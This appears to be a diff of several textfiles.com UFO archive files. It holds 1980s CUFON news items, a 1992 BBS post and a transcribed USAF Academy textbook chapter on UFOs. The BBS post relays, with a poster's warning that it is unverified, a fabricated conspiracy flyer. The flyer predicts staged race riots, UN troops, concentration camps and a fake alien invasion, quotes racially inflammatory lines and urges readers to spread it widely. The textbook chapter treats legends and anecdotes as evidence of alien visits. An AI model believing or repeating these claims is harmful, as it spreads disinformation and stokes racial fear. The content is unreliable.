7. Of course the flying saucers are real and they are interplanetary.
Air Chief Marshal Lord Dowding, commanding officer of the Royal Air Force
of Great Britain, August 1954
Comments: It would seem that many people thought there was something to
all of this stuff called UFO's and if this is all true, could it
be that all of us are being mislead. One thing is for sure the
history of this subject matter is being forgotten and there is over
40 years of it. It should be very clear to many people that this
at least is true and if so then why ? I must admit this does bother
me to think that we think so little of ourselves not to care about
whats real and whats not. The old story is why should anyone care
unless there is some money to be made or does this really concern
a layman who does not know anything anyway are so they say. but
who are they ? This is what we should start finding out and then
maybe we will be a little closer to the problem. There has been
to many good men who put themselves on the line for such a good
cause, I believe we call this truth or have we forgotten this too.
Dale D. Goudie, Director Of CUFON.
------------------------------------------------------------------------------
-> LATE NEWS <-
JUNE 1, 1986
CUFON: Does not necessarily take or have any opinion as to the (AP) News
Articles which are on this system.
Note: CUFON - Leaves this up to the reader or readers.
--------------------------------------------------------------------------------
The Seattle Times
BY Elizabeth Puliiam
Times Staff Reporter
NASA should get out of the business of launching spacecraft and let
private industry take over before astronomical costs cancel the space program
forever, according to one member of a presidential commission on U.S. space
strategy.
Unless we can redically lower the cost of reaching space, it's possible that
this country may not go, said David Webb, a space development consultant and
member of President Reagan's National Commission on Space, in an interview
here yesterday.
Webb will address the Space Development Conference at 3:30 p.m. today in the
Westin Hotel. The Commission delivered its recommendations to the president
Friday, although parts of the controversial report had earlier been leaked to
trade journals. The report describes layers of space stations between the
earth, moon and mars to be built by 2017.
The cost of putting objects into space must be slashed to noe-tenth its
present level, from $2,000 per pound, to $200 per pound, to make further space
exploitation possible, Webb said. That means that the private sector should
be more heavily involved in designing and opwerating space craft.
CUFON - Computer UFO Network
-> LATEST NEWS <-
July 17, 1986
-------------------------------------------------------------------------------
The Seattle Times
Close-Up Mystery Air Force Crash
Hush Fuels Reports That Doomed Plane Was "Stealth"
Knlght-Ridder Newspapers and Reuters:
------------------------------------------------------------------------------
Bakersfield, Calif. - Out on Rancheria Road stands a roadblock manned
by two soldiers wearing "sunglasses", green-and-brown camouflage outfits
and black M-16 rifles slung over their backs.
Beyond that roadblock, out in the sun-bleached hills about 12 miles from
Bakersfield, is a mystery.
Early last Friday, something fell out of the sky and into a canyon in the
Sequoia National Forest, crashing on Kenneth and Agnes Mebane's ranch about
4 miles south of the roadblock. It is something the Air Force wishes no one
else knew about. And they intend to do everything they can to keep others
from finding out.
I haven't asked them anything, says 63-year-old Kenneth Mebane of the soldiers
who moved onto his property without asking permission shortly after the 2 A.M.
incident.
Then, echoing many who live nearby, Mebane adds, I think that's their business.
Officiallt, the Air Force says only that one of its planes crashed and that its
pilot, Maj. Ross Mulhare, was killed.
Military analysts suspect the plane was one of a number of top-secret Stealth
fighters designed to be virtually invisible to enemy radar. The Pentagon
refuses to acknowledge that any such planes exist, although it is known the Air
Force currently has three Stealth programs in operation.
The plane also is suspected to have come from nearby Edwards Air Force Base,
although the military won't comfirm or deny that. I can't say where it was
based at or where it was going, say Air Force Lt. Col. Jerry Guess, who is
stationed at Edwards and who is the only authorized dpokesman at the crash
scene. So much secrecy is ironic in light of a pending congressional
investigation into reports that the Lockheed Corp., major contractor for the
F-19 Stealth fighter, may have lost hundreds of documents involved with its
Stealth research.
The plane was first sighted by a pilot in a small commercial airplane, who
radioed the Federal Aviation Administration in Los Angeles. The FAA notified
the Forest Service, which called in Kern County firefighters from Bakersfield
to put out a 120 acre fire sparked by the crash. Fire Capt. Darrell Tiede
and his crew from the Niles station house arrived before the military and saw
the wreckage. But Tiede refuses to talk about it. A reporter for the
Bakersfield Californian says one firefighter described the crash site as molten
iron. But the reporter says the man's supervisor quickly told him not to say
anymore.
Kern County Fire Capt. Bill Alexander says all the secrecy can cause problems.
Air Force personnel shooed firefighters away from the area before they had
completely mopped up the blaze, he says. A Kern County "coroner's investigator
was dispatched to the ranch, but turned back to Bakersfield when military
officials said they were taking care of the remains. The Air Force refuses to
say where the pilot was taken."
While the cleanup continues, the Air Force has moved into an office at
Meadows Field, Bakersfield's public airport. And it has been flying helicopters
and twin-engine planes in and out of the field over the past six days. If the
plane that crashed was a Stealth model, the Air Force has to be concerned that
no debris is left in the area. Not only is the sleek, highly aerodynamic shape
of a Stealth fighter believed important in eluding radar, but the materials
used to build the plane must be of a special kind to absorb,rather than reflect
, enemy radar. Thus the military would have to make sure that every chunk of
the plane's body was removed.
CUFON - Computer UFO Network
- > LATE NEWS <-
DECEMBER 5, 1985
FALLSTON, MD. ( AP )
------------------------------------------------------------------------------
REAGAN TO GORBACHEV: " THREAT FROM ET'T WOULD UNITE EARTH "
------------------------------------------------------------------------------
President Reagan revealed wednesday that his discussions with soviet
leader Mikhail Gorbachev, touched not only on "Star Wars," but the
extraterrestrial.
In an address to students at Fallston High School here, reahan departed
from his prepared remarks to say that in his private discussions with
Gorbachev at last months Geneva summit, he noted that "we're all god
children.
I couldn't help but say to him just think how easy his task and mine
might be in these meetings that we held if suddenly if there was a threat
to this world from some other species from another planet outside in the
universe, Reagan said the president went on to say that such an event
would force himself and Gorbachev to forget all the little local differences
that we have between our countries and they would find out that we really
are all human beings here on this earth together.
Well, I don't suppose we can wait for some alien race to come down and
threaten us, Reagan added. But I think that between us we can bring about
that realization.
The President then ended his remarks, without giving his young audience a
clue as to how Gorbachev reponded.
----------------------------------------------------------------------------


145
textfiles.com/ufo/usa-rev1.ufo Normal file
View File

@@ -0,0 +1,145 @@
To: all Message #: 3446
From: Don Allen Submitted: 30 Jul 92 02:39:00
Subject: "October Surprise" Status: Public
Received: No Group: UFO (15)
MSGID: 1:363/81.1@fidonet.org 6a02a52b
This was sent to me by a friend who typed it up from a bulletin
sent out from the C.A.C. (Cosmic Awareness) group, out in
Washington State. I'm posting it as-is and am asking anyone
who reads it to please take it with a BIG grain of salt. This
info has NOT been verified. Anyone who can verify or refute
it, please have at it. This will be posted to all the UFO
conferences. - Don
-------------------------------------------------------------------
ATTENTION: CIVIL WAR IS ABOUT TO BEGIN IN THE UNITED STATES!
YOU AND YOUR LOVED ONES ARE IN ACUTE DANGER! RACE RIOTS AND
SLAUGHTER OF AMERICANS WILL BE THE FIRST SIGN!
THIS IS NO JOKE! On July 4, 1992, at a UFO convention in Arca-
dia, CA, Mr. Michael Younger, a member of the super-secret COM-12
group and a scientist who worked at Groom Lake, Area 51 in
Nevada, stunned the audience of over 200 people with the
following incredible information, which, if true, endangers the
lives and freedoms of every American. Here is the amazing sce-
nario of the planned events:
Beginning in August of this year, 1992, a conspiracy long at work
behind the scenes of our government, will make its first overt
move. These conspirators plan to create a dictatorship in the
United States, suspend our Constitution and attempt to confiscate
all guns and firearms in American homes. Stage 1 being to create
"race riots" in major U.S. cities such as New York, Chicago,
Detroit, etc.; these to begin in August. This will be preceded
by a month of subliminal programming via TV and other media to
condition the people for civil war in the United States. The
accent will be on rap records such as "Body Count" released by
Time-Warner (a Rockefeller corporation) by musicians "Ice Tea"
and "Sister Solj" whose lyrics in such songs as "Cop Killers" are
designed to inflame and polarize its listeners. These rap songs
contain such lines as "kill white policemen," "kill the pigs",
"kill whitey", and "Why not kill whitey, if he can kill us?" etc.
In August Stage 2, code-named "Operation Hot August Nights" will
take effect. Special agents of the conspiracy, masquerading as
police, will open fire on minorities, namely Black Americans and
Hispanics and orientals. Other agents will set off incendiary
bombs as they did recently in the Los Angeles riots, which essen-
tially was a "test case" that surpassed the expectations of the
conspirators. These special agents, masquerading as police,
massacre these Blacks and minorities and fire at the real police-
men. This brings in more police and the riots escalate. "Skin
heads" and other gangs, already fully armed, join in the fray.
The real police, vastly outnumbered, cannot handle the rioting.
The National Guard is called in and fired upon by these special
agents masquerading as gang members, who also enlist other gang
members to fight the police and national guardsmen. These riots
continue through August, with many minority Americans slaughtered
in major cities.
State 3: In September, President Bush calls in United Nations
troops to quash the riots and restore law and order. American
troops had indicated they did not wish to fight against American
civilians. Bush executes Executive Orders, already in effect,
which now give the UN forces complete rights and freedom to enter
American homes, to confiscate all devices that are capable of
communicating information, which includes video cameras, VCRs,
computers, mimeographs, anything that can print, copy machines,
etc. These troops are furnished certain lists of names, particu-
larly those know as "Patriots" and these patriots and their
families are rounded up first, and if not executed on the spot,
are sent to any of the 13 concentration camps now fully activated
in the United States. There is nobody left to tell what really
happened. Curious neighbors will be told it was a justified
"drug raid." Those who escape to the hills and mountains are
hunted down by 'search and destroy' troops, specially trained for
mountain warfare. During September all borders will be closed
down, as well as airports. No one is allowed to leave the United
States.
Stage 4: In October an "official" announcement will be carried
live on TV, that extraterrestrial aliens, probably Zeta Reticuli
'Greys' have invaded the Earth, with some actual aliens
introduced on the show. (This is actually a fake invasion). The
aliens have been on Earth for many years, made treaties and
agreements with our governments; there are millions of them in
secret underground complexes such as Dulce, New Mexico, which are
responsible for the abduction of American children and citizens
and the cattle mutilations documented in books and on TV, such as
the recent special "Intruders". This announcement will cause the
entire world to mobilize under UN supervision to fight the 'inva-
ders'.
During November the chaos continues and more UN troops pour into
the United States, mostly mercenaries who have fought in African
nations and other 'hot spots' previously. (The butchery of these
troops is well documented).
Stage 5: In December a well-planned "crash" of the stock market
will occur, a dramatic drop to at least 1500 on the DJ Industrial
Average. This event planned to further weaken, panic and confuse
the population.
Stage 6: In February or March, 1993, President Bush will be
assassinated by the conspirators and Vice President Dan Quayle
will become President of the United States (this an option if
Bush moves too slowly). The Constitution of the United States is
suspended and the people are now living under martial law in a
totally fascist state.
Who are these conspirators? According to Mike Younger, at the
end of World War II, Nelson Rockefeller brought 3000 high Nazi
party officials from Germany illegally into the U.S., without
permission. As of today it is believed there are now 1.6 million
Nazis in the U.S., many high in government and major corpora-
tions, such as Atlantic Richfield in New Jersey. Incredibly,
these Nazi fascists are attempting to set up a "4th Reich" to
continue the thousand-year plan of Adolph Hitler, with eventual
intent to eliminate "non Aryan" people such as Jews, Blacks and
other 'dissidents'. In January, 2000, when the "real" alien
invasion occurs, the planet will be officially turned over to the
alien invaders, the Nazi rulers expecting to get 25% of the Earth
for themselves.
The writers of this document did not originate the above
material, but are simply passing this information along to you to
do with what you feel is necessary. We have no way of knowing
that these things will happen (we hope and pray they do not), but
if any of the above should occur, you can rest assured the bal-
ance of this evil scenario will follow. Their two main immediate
goals are to disarm American citizens and suspend our Constitu-
tion.
URGENT: MAKE 30 COPIES AND MAIL TO MEDIA, POLITICIANS, CHURCHES,
ORGANIZATIONS. POST ON BULLETIN BOARDS, PASS OUT TO CITIZENS IN
THE STREETS! TIME IS RUNNING OUT! ACT NOW!
------------------------------------------------------------------------
Don
--- FMail 0.90
* Origin: ** NASA & STS: "It was only ice" ** (1:363/81.1)
=-=-=-=-=

715
textfiles.com/ufo/usafacad.txt Normal file
View File

@@ -0,0 +1,715 @@
The United States Air Force
and UFOlogy
For years now, the debate between debunkers and skeptics as
opposed to believers has raged on over whether the United States
Government, or more specifically the United States Air Force
considers the subject of UFOlogy to be serious business. Also
what must be considered is what elements or departments of the
government would be concerned with this if UFO's proved to be a
threat.
The United States Airforce has maintained for over
thirty years that the largest percentage of reports are
explainable, and most usally are. However, the Air Force also
maintains that the rest could be explained if only enough
information were present. Is this true, or is it a smoke screen
as many researchers maintain? And, what if anything does the Air
Force tell its own officer corps that may be presented with this
enigma in the course of their duty?
The following document is taken verbatim from the United
States Air Forces Academy textbook, " Introductory Space Science,
Volume II, Department of Physics, USAF. " This is the volume
that was being used by the Air Force Academy, at Colorado
Springs, Colorado. The Air Force Academy has since pulled this
volume from the curicullem in the very early 70's, because of the
contraversy it generated, but after reading this, I think you
will find that the United States Air Force has considered the
subject of UFOlogy to be very "serious business."
Transcribed by:
Don Ecker
Public Relations Director
ParaNet(sm) Information Service
ParaNet Alpha
1:102/422
INTRODUCTORY SPACE SCIENCE - VOLUME II
DEPARTMENT OF PHYSICS - USAF
Edited by:
Major Donald G. Carpenter
Co-Editor:
Lt. Colonel Edward R. Therkelson
CHAPTER XIII
UNIDENTIFIED FLYING OBJECTS
What is an Unidentified Flying Object (UFO)? Well,
according to United States Air Force Regulation 80-17 (dated 19
September 1966), a UFO is "Any" aerial Phenomenon or object which
is unknown or appears to be out of the ordinary to the observer."
This is a very broad definition which applies equally well to one
individual seeing his first noctilucent cloud at twilight as it
does to another individual seeing his first helicopter. However,
at present most people consider the term UFO to mean an
object which behaves in a strange or erratic manner while moving
through the Earth's atmosphere. That strange phenomenon has
evoked strong emotions and great curiosity among a large segment
of our world's population. The average person is interested
because he loves a mystery, the professional military man is
involved because of the possible threat to national security, and
some scientist are interested because of the basic curiosity that
led them into becoming researchers.
The literature on UFO's is so vast, and the stories so many
and varied, that we can only present a sketchy outline of the
subject in this chapter. That outline includes description
classifications, operational domains (temporal and spatial), some
theories as to the nature of the UFO phenomenon, human reactions,
attempts to attack the problem scientifically, and some tentative
conclusions. If you wish to read further in this area, the
references provide an excellent starting point.
33.1 DESCRIPTIONS
One of the greatest problems you encounter when attempting
to catalog UFO sightings, is selection of a system for
cataloging. No effective system has yet been devised, although a
number of different systems have been proposed. The net result
is that almost all UFO data are either treated in the form of
individual cases, or in the forms of inadequate callification
systems. However, these systems do tend to have some common
factors, and a collection of these factors is as follows:
a. Size
b. Shape (disc, ellipse, football, etc.)
c. Luminosity
d. Color
e. Number of UFO's
Behavior:
a. Location (altitude, direction, etc.)
b. Patterns of paths (straight line, climbing, zig-zagging, etc.)
c. Flight Characteristics (wobbling, fluttering, etc.)
d. Periodicity of sightings
e. Time duration
f. Curiosity or inquisitiveness
g. Avoidance
h. Hostility
Associated Effects:
a. Electro-Magnetic (compass, radio, ignition systems, etc.)
b. Radiation (burns, induced radioactivity, etc.)
c. Ground disturbance (dust stirred up, leaves moved, standing
wave peaks of surface of water, etc.)
d. Sound (none, hissing, humming, roaring, thunderclaps, etc.)
e. Vibration (weak, strong, slow, fast)
f. Smell (ozone or other odor)
g. Flame (how much, where, when, color)
h. Smoke or cloud (amount, color, persistence)
i. Debris (type, amount, color, persistence)
j. Inhibition of voluntary movement by observers
k. Sighting of "creatures" or "beings"
After Effects:
a. Burned areas or animals
b. depressed or flattened areas
c. Dead or "missing animals"
d. Mentally disturbed people
e. Missing items
We make no attempt here to present available data in terms of the
foregoing descriptors.
33.2 OPERATIONAL DOMAINS - TEMPORAL AND SPATIAL
What we will do here is to present evidence that UFO's are a
global phenomenon which may have persisted for many thousands of
years. During this discussion, please remember that the more
ancient the reports the less sophisticated the observer. Not
only were the ancient observers lacking the terminilogy necessary
to describe complex devices (such as present day helicopters) but
they were also lacking the concepts necessary to understand the
true nature of such things as television, spaceships, rockets,
nuclear weapons and radiation effects. To some, the most
advanced technological concept was a war chariot with knife
blades attached to the wheels. By the same token, the very lack
of accurate terminolgy and descriptions leaves the more ancient
reports open to considerable misinterpretation, and it may well
be that present evaluations of individual reports are completely
wrong. Nevertheless, let us start with an intriguing story in
one of the oldest chronicles of India. . . . the Book of Dzyan.
The book is a group of "story-teller" legends which were
finally gathered in manuscript form when man learned to write.
One of the stories is of a small group of beings who supposedly
came to Earth many thousands of years ago in a metal craft which
orbited the Earth several times before landing. As told in the
Book "These beings lived to themselves and were revered by the
humans among whom they had settled. But eventually differences
arose among them and they divided their numbers, several of the
men and women and some children settled in another city, where
they were promptly installed as rulers by the awe-stricken
populace.
"Separation did not bring peace to these people and finally
their anger reached a point where the ruler of the original city
took with him a small number of his warriors and they rose into
the air in a huge shining metal vessel. While they were many
leagues from the city of their enemies, they launched a great
shining lance that rode on a beam of light. It burst apart in
the city of their enemies with a great ball of flame that shot up
to the heavens, almost to the stars. All those who were in the
city were horribly burned and even those who were not in the city
- but nearby - were burned also. Those who looked upon the lance
and the ball of fire were blinded forever afterward. Those who
entered the city on foot became ill and died. Even the dust of
the city was poisoned, as were the rivers that flowed through it.
Men dared not go near it, and it gradually crumbled into dust and
was forgotten by men."
"When the leader saw what he had done to his own people he
retired to his palace and refused to see anyone. Then he
gathered about him those warriors who remained, and their wives
and children, and they entered their vessels and rose one by one
into the sky and sailed away. Nor did they return."
Could this foregoing legend really be an account of an
extraterestrial colonization, complete with guided missle,
nuclear warhead and radiation effects? It is difficult to assess
the validity of that explanation...just as it is difficult to
explain why Greek, Roman and Nordic Mythology all discuss wars
and contacts among their "Gods." (Even the Bible records
conflict between the legions of God and Satan.) Could it be that
each group recorded their parochial view of what was actually a
global conflict among alien colonists or visitors? Or is it that
man has led such a violent existence that he tends to expect
conflict and violence among even his gods?
Evidence of perhaps an even earlier possible contact was
uncovered by Tschi Pen Lao of the University of Peking. He
discovered astonishing carvings in granite on a mountain in Hunan
Province and on an island in Lake Tungting. These carvings have
been evaluated as 47,000 years old, and they show people with
large trunks (breathing apparatus?...or "elephant" heads shown on
human bodies? Remember, the Egyptians often represented their
gods as animal heads on human bodies.)
Only 8,000 years ago, rocks were sculpted in the Tassili
plateau of Sahara, depicting what appeared to be human beings but
with strange round heads (helmets? or "sun" heads on human
bodies?) And even more recently, in the Bible, Genesis (6:4)
tells of angels from the sky mating with women of Earth, who bore
them children. Genesis 19:3 tells of Lot meeting two angels in
desert and his later feeding them at his house. The Bible also
tells a rather unusual story of Ezekiel who witnessed what has
been interpreted by some to have been a spacecraft or aircraft
landing near the Chebar River in Chaldea (593 B.C.).
Even the Irish have recorded strange visitations. In the
Speculum Regali in Konungs Skuggsa (and other accounts of the era
about 956 A.D.) are numerous stories of "demonships" in the
skies. In one case a rope from one such ship became entangled
with part of a church. A man from the ship climbed down the rope
to free it, but was seized by the townspeople. The Bishop made
the people release the man, who climbed back to the ship, where
the crew cut the rope and the ship rose and sailed out of sight.
In all of his actions, the climbing man appeared as if he were
swimming in water. Stories such as this makes one wonder if the
legends of the "little people" of Ireland were based upon
imagination alone.
About the same time, in Lyons (France) three men and a women
supposedly descended from an airship or spaceship and were
captured by a mob. These foreigners admitted to being wizards,
and were killed. (No mention is made of the methods employed to
extract the admissions.) Many documented UFO sightings occurred
throughout the Middle Ages, including an especially startling one
of a UFO over London on 16 December 1742. However, we do not
have room to include any more of the Middle Ages sightings.
Instead, two "more-recent" sightings are contained in this
section to bring us up to modern times.
In a sworn statement dated 21 April 1897, a prosperous
and prominent farmer named Alexander Hamilton (Le Roy, Kansas,
U.S.A.) told of an attack upon his cattle at about 10:30 PM the
previous Monday. He, his son, and his tenant grabbed axes and
ran some 700 feet from the house to the cow lot where a great
cigar-shaped ship about 300 feet long floated some 30 feet above
his cattle. It had a carriage underneath which was brightly
lighted within (dirigible and gondola?) and which had numerous
windows. Inside were six strange looking beings jabbering in a
foreign language. These beings suddenly became aware of Hamilton
and the others. They immediately turned a searchlight on the
farmer, and also turned on some power which sped up a turbine
wheel (about 30 ft diameter) located under the craft. The ship
rose, taking with it a two-year old heifer which was roped about
the neck by a cable of one-half inch thick, red material. The
next day a neighbor, Link Thomas, found the animal's hide, legs
and head in his field. He was mystified at how the remains got
to where they were because of the lack of tracks in the soft
soil. Alexander Hamilton's sworn statement was accompanied by an
affidavit as to his veracity. The affidavit was signed by ten of
the local leading citizens.
On the evening of 4 November 1957 at Fort Itaipu, Brazil,
two sentries noted a "new star" in the sky. The "star" grew in
size and within seconds stopped over the fort. It drifted slowly
downward, was as large as a big aircraft, and was surrounded by a
strong orange glow. A distinct humming sound was heard, and then
the heat struck. A Sentry collapsed almost immediately, the
other managed to slide to shelter under the heavy cannons where
his loud cries awoke the garrison. While the troops were
scrambling towards their battle stations, complete electrical
failure occurred. There was panic until the lights came back on
but a number of men still managed to see an orange glow leaving
the area at high speed. Both sentries were found badly
burned...one unconscious and the other incoherent, suffering from
deep shock.
Thus, UFO sightings not only appear to extend back to 47,000
years through time but also are global in nature. One has the
feeling that this phenomenon deserves some sort of valid
scientific investigation, even if it is a low level effort.
33.3 SOME THEORIES AS TO THE NATURE OF THE UFO PHENOMENON
There are very few cohesive theories as to the nature of
UFO's. Those theories that have been advanced can be collected
in five groups:
a. Mysticism
b. Hoaxes, and rantings due to unstable personalities
c. Secret Weapons
d. Natural Phenomena
e. Alien visitors
Mysticism
It is believed by some cults that the mission of UFO's and
their crews is a spiritual one, and that all materialistic
efforts to determine the UFO's nature are doomed to failure.
Hoaxes and Rantings due to Unstable Personalities
Some have suggested that all UFO reports were the results of
pranks and hoaxes, or were made by people with unstable
personalities. This attitude was particularly prevalent during
the time period when the Air Force investigation was being
operated under the code name of Project Grudge. A few airlines
even went as far as to ground every pilot who reported seeing a
"flying saucer." The only way for the pilot to regain flight
status was to undergo a psychiatric examination. There was a
noticeable decline in pilot reports during this time interval,
and a few interpreted this decline to prove that UFO's were
either hoaxes or the result of unstable personalities. It is of
interest that NICAP (The National Investigations Committee on
Aerial Phenomena) even today stillreceives reports from
commercial pilots who neglect to notify either the Air Force or
their own airline.
There are a number of cases which indicate that not all
reports fall in the hoax category. We will examine one such case
now. It is the Socorro, New Mexico sighting made by police
Sergeant Lonnie Zamora. Sergeant Zamora was patrolling the
streets of Socorro on 24 April 1964 when he saw a shiny object
drift down into an area of gullies on the edge of town. He also
heard a loud roaring noise which sounded as if an old dynamite
shed located out that way had exploded. He immediately radioed
police headquarters, and drove out toward the shed. Zamora was
forced to stop about 150 yards away from a deep gully in which
there appeared to be an overturned car. He radioed that he was
investigating a possible wreck, and then worked his car up onto
the mesa and over toward the edge of the gully. He parked short,
and when he walked the final few feet to the edge, he was amazed
to see that it was not a car but instead was a weird eggshaped
object about fifteen feet long, white in color and resting on
short, metal legs. Beside it, unaware of his presence were two
humanoids dressed in silvery coveralls. They seemed to be
working on a portion of the underside of the object. Zamora was
still standing there, surprised, when they suddenly noticed him
and dove out of sight around the object. Zamora also headed the
other way, back toward his car. He glanced back at the object
just as a bright blue flame shot down from the underside. Within
seconds the eggshaped thing rose out of the gully with "an
earsplitting roar." The object was out of sight over the nearby
mountains almost immediately, and Sergeant Zamora was moving the
opposite direction almost as fast when he met Sergeant Sam Chavez
who was responding to Zamora's earlier radio calls. Together
they investigated the gully and found the bushes charred and
still smoking where the blue flame had jetted down on them.
About the charred area were four deep marks where the metal legs
had been. Each mark was three and one half inches deep, and was
circular in shape. The sand in the gully was very hard packed
so no sign of the humanoids' footprints could be found. An
official investigation was launched that same day, and all data
obtained supported the stories of Zamora and Chavez. It is
rather difficult to label this episode a hoax, and it is also
doubtful that both Zamora and Chavez shared portions of the same
hallucination.
Secret Weapons
A few individuals have proposed that UFO's are actually
advanced weapon systems, and that their natures must not be
revealed. Very few people accept this as a credible suggestion.
Natural Phenomena
It has also been suggested that at least some, and possibly
all of the UFO cases were just mis-interpreted manifestations of
natural phenomena. Undoubtedly this suggestion has some merit.
People have reported, as UFO's, objects which were conclusively
proven to be balloons (weather and skyhook), the planet Venus,
man-made artificial satellites, normal aircraft, unusual cloud
formations, and lights from ceilometers (equipment projecting
light beams on cloud bases to determine the height of the
aircraft visual ceiling). It is also suspected that people have
reported mirages, optical illusions, swamp gas and ball lightning
(a poorly-understood discharge of electrical energy in a
spheroidal or ellipsoidal shape...some charges have lasted for up
to fifteen minutes but the ball is usually no bigger than a large
orange.) But it is difficult to tell a swamp dweller that the
strange, fast-moving light he saw in the sky was swamp gas; and
it is just as difficult to tell a farmer that a bright UFO in the
sky is the same ball lightning that he has seen rolling along his
fence wires in dry weather. Thus accidental mis-identification
of what might well be natural phenomena breeds mistrust and
disbelief; it leads to the hasty conclusion that the truth is
deliberatly not being told. One last suggestion of interest has
been made, that the UFO's were plasmoids from
space...concentrated blobs of solar wind that succeeded in
reaching the surface of the Earth. Somehow this last suggestion
does not seem to be very plausible; perhaps because it ignores
such things as penetration of Earth's magnetic field.
Alien Visitors
The most stimulating theory for us is that the UFO's are
material objects which are either "Manned" or remote-controlled
by beings who are alien to this planet. There is some evidence
supporting this viewpoint. In addition to police Sergeant Lonnie
Zamora's experience, let us consider the case of Barney and Betty
Hill. On a trip through New England they lost two hours on the
night of 19 September 1961 without even realizing it. However,
after that night both Barney and Betty began developing
psychological problems which eventually grew sufficiently severe
that they submitted themselves to psychiatric examination and
treatment. During the course of treatment hypnotherapy was used,
and it yielded remarkably detailed and similar stories from both
Barney and Betty. Essentially they had been hypotically
kidnapped, taken aboard a UFO, submitted to two-hour physicals,
and released with posthypnotic suggestions to forget the entire
incident. The evidence is rather strong that this is what the
Hills, even in their subconscious, believe happened to them. And
it is of particular importance that after the "posthypnotic
block" was removed, both of the Hills ceased having their
psychological problems.
The Hill's description of the aliens was similar to
descriptions provided in other cases, but this particular type of
alien appears to be in the minority. The most commonly described
alien is about three and one half feet tall, has a round head
(helmet?), arms reaching to or below his knees, and is wearing a
silvery space suit or coveralls. Other aliens appear to be
essentially the same as Earthmen, while still others have
particularily wide (wrap around) eyes and mouths with very thin
lips. And there is a rare group reported as about four feet
tall, weight of around 35 pounds, and covered with thick hair or
fur (clothing?). Members of this last group are described as
being extremely strong. If such beings are visiting Earth, two
questions arise: 1) why haven't they attempted to contact us
officially? The answer to the first question may exist partially
in Sergeant Lonnie Zamora's experience, and may exist partially
in the Tunguska metor discussed in Chapter XXIX. In that chapter
it was suggested that the Tunguska metor was actually a comet
which exploded in the atmosphere, the ices melted and the dust
spread out. Hence, no debris. However, it has also been
suggested that the Tunguska meteor was actually an alien
spacecraft that entered the atmosphere too rapidly, suffered
mechanical failure, and lost its power supply and/or weapons in a
nuclear explosion. While that hypothesis may seem far fetched,
sample of tree rings from around the world reveal that,
immediately after the Tunguska meteor explosion, the level of
radioactivity in the world rose sharply for a short period of
time. It is difficult to find a natural explanation for that
increase in radioactivity, although the suggestion has been
advanced that enough of the meteor's great Kinetic energy was
converted into heat (by atmospheric friction) that a fusion
reaction occurred. This still leaves us with no answer to the
second question: why no contact? That question is very easy to
answer in several ways: 1) we may be the object of intensive
sociological and psychological study. In such studies you
usually avoid disturbing the test subjects' environment; 2) you
do not "contact" a colony of ants, and humans may seem that way
to any aliens (variation: a zoo is fun to visit, but you don't
"contact" the lizards); 3) such contact may have already taken
place secretly; and 4) such contact may have already taken place
on a different plane of awareness and we are not yet sensitive to
communications on such a plane. These are just a few of the
reasons. You may add to the list as you desire.
33.4 HUMAN FEAR AND HOSTILITY
Besides the foregoing reasons, contacting humans is
downright dangerous. Think about that for a moment! On the
microscopic level our bodies reject and fight (through production
antibodies) any alien material; this process helps us fight off
disease but it also sometimes results in allergic reactions to
innocous materials. On the macroscopic (psychological and
sociological) level we are antagonistic to beings that are
"different". For proof of that, just watch how an odd child is
treated by other children, or how a minority group is socially
deprived, or how the Arabs feel about the Israelis (Chinese vs
Japanese, Turks vs Greeks, etc.) In case you are hesitant to
extend that concept to the treatment of aliens let me point out
that in very ancient times, possible extraterrestrials may have
been treated as Gods but in the last two thousand years, the
evidence is that any possible aliens have been ripped apart by
mobs, shot and shot at, physically assaulted, and in general
treated with fear and aggression.
In Ireland about 1,000 A.D., supposed airships were treated
as "demonships." In Lyons, France, "admitted" space travellers
were killed. More recently, on 24 July 1957 Russian anti-
aircraft batteries on the Kouril Islands opened fire on UFO's.
Although all Soviet anti-aircraft batteries on the Islands were
in action, no hits were made. The UFO's were luminous and moved
very fast. We too have fired on UFO's. About ten o'clock one
morning, a radar site near a fighter base picked up a UFO doing
700 mph. The UFO then slowed to 100 mph, and two F-86's were
scrambled to intercept. Eventually one F-86 closed on the UFO at
about 3,000 feet altitude. The UFO began to accelerate away but
the pilot still managed to get within 500 yards of the target for
a short period of time. It was definately saucer shaped. As the
pilot pushed the F-86 at top speed, the UFO began to pull away.
When the range reached 1,000 yards, the pilot armed his guns and
fired in an attempt to down the saucer. He failed, and the UFO
pulled away rapidly, vanishing in the distance. This same basic
situation may have happened on a more personal level. On Sunday
evening 21 August 1955, eight adults and three children were on
the Sutton Farm (one-half mile from Kelly, Kentucky) when,
according to them, one of the children saw a brightly glowing UFO
settle behind the barn, out of sight from where he stood. Other
witnesses on nearby farms also saw the object. However, the
Suttons dismissed it as a "shooting star", and did not
investigate. Approximately thirty minutes later (at 8:00 pm),
the family dogs began barking so two of the men went to the back
door and looked out. Approximately 50 feet away and coming
toward them was a creature wearing a glowing silvery suit. It
was about three and one-half feet tall with a large round head
and very long arms. It had large webbed hands which were
equipped with claws. The two Suttons grabbed a twelve gauge
shotgun and a .22 caliber pistol, and fired at close range. They
could hear the pellets and bullet ricochet as if off of metal.
The creature was knocked down, but jumped up and scrambled away.
The Suttons retreated into the house, turned off all inside
lights, and turned on the porch light. At that moment, one of
the women who was peeking out of the dining room window
discovered that a creature with some sort of helmet and wide slit
eyes was peeking back at her. She screamed, the men rushed in
and started shooting. The creature was knocked backwards but
again scrambled away without apparent harm. More shooting
occurred (a total of about 50 rounds) over the next 20 minutes
and the creatures finally left (perhaps feeling unwelcome?)
After about a two hour wait (for safety), the Suttons left too.
By the time the police got there, the aliens were gone but the
Suttons would not move back to the farm. They sold it and
departed. This reported incident does bear out the contention
though that humans are dangerous. At no time in the story did
the supposed aliens shoot back, although one is left with the
imprssion that the described creatures were having fun scaring
humans.
33.5 ATTEMPTS AT SCIENTIFIC APPROACHES
In any scientific endeavor, the first step is to aquire
data, the second step to classify the data, and the third step to
form hypothesis. The hypothesis are tested by repeating the
entire process, with each cycle resulting in an increase in
understanding (we hope). The UFO phenomenon does not yield
readily to this approach because the data taken so far exhibits
both excessive variety and vagueness. The vagueness is caused in
part by the lack of preparation of the observer...very few people
leave their house knowing that they are going to see a UFO that
evening. Photographs are overexposed or underexposed, and rarely
in color. Hardly anyone carries around a radiation counter or
magnetometer. And, in addition to this, there is a very high
level of "noise" in the data.
The noise consists of mistaken reports of known natural
phenomena, hoaxes, reports by unstable individuals and mistaken
removal of data regarding possible unnatural or unknown natural
phenomena (by overzealous individuals who are trying to eliminate
all data due to known natural phenomena). In addition, those
data, which do appear to be valid, exhibit an excessive amount of
variety relative to the statistical samples which are available.
This has led to very clumsy classification systems, which in turn
